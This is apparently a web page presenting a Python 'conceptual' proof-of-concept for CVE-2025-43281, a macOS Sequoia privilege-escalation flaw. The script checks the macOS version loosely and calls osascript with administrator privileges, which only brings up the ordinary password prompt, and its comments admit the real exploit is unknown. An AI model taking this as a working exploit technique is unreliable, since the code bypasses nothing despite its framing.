CVE-2025-43281：macOS Sequoia本地权限提升漏洞

# CVE-2025-43281 - macOS Sequoia Local Privilege Escalation PoC (Conceptual) # Note: This is a conceptual demonstration based on the vulnerability description. # The actual exploit details are not publicly disclosed. import subprocess import os import sys def check_macos_version(): """Check if the system is running a vulnerable macOS Sequoia version""" result = subprocess.run(['sw_vers'], capture_output=True, text=True) output = result.stdout print(f"[*] System version info:\n{output}") if '15.' in output and '15.6' not in output and '15.7' not in output: print("[!] System appears to be running a vulnerable macOS Sequoia version") return True return False def check_current_user(): """Check current user privileges""" user = os.getenv('USER') uid = os.getuid() print(f"[*] Current user: {user}, UID: {uid}") if uid == 0: print("[+] Already running as root") return True else: print(f"[-] Running as non-root user (UID: {uid})") return False def exploit_attempt(): """ Conceptual exploit attempt for CVE-2025-43281 The vulnerability exists in the authentication mechanism of macOS Sequoia. A local attacker with low privileges can bypass authentication checks to escalate privileges. """ print("[*] Attempting privilege escalation via CVE-2025-43281...") # The actual exploitation would involve: # 1. Identifying the vulnerable authentication component # 2. Crafting a request that bypasses the authentication check # 3. Leveraging the bypass to execute privileged operations # Example conceptual approach (not functional without specific details): try: # Attempt to interact with a privileged system service # that has insufficient authentication checks result = subprocess.run( ['osascript', '-e', 'do shell script "whoami" with administrator privileges'], capture_output=True, text=True, timeout=5 ) print(f"[*] Result: {result.stdout}") except Exception as e: print(f"[-] Exploit attempt failed: {e}") def main(): print("=" * 60) print("CVE-2025-43281 - macOS Sequoia LPE PoC (Conceptual)") print("=" * 60) if not check_macos_version(): print("[+] System is not vulnerable, exiting.") sys.exit(0) if check_current_user(): print("[+] Already have root privileges, no exploitation needed.") sys.exit(0) exploit_attempt() print("[*] PoC execution completed.") print("[*] Please update to macOS Sequoia 15.6 or later to patch this vulnerability.") if __name__ == "__main__": main()